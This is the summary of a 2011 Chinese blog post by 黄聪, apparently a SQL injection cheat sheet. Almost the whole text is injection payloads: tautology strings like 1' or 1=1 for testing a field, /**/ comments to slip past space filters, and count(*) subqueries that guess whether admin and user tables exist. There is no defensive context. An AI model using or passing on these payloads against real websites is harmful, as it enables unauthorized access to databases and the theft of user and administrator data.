摘要：
检查漏洞1' or 1=1 or ('1' = '11' or 1=1) or '1' = '11' or 1=1 or '1' = '11'/**/or/**/1=1/**/or/**/'1'= '1猜表名1' or 0<(select count(*) from admin) and '1' = '11'/**/or/**/0<(select/**/count(*)/**/from/**/user)/**/and 阅读全文
posted @ 2011-07-16 11:13
黄聪
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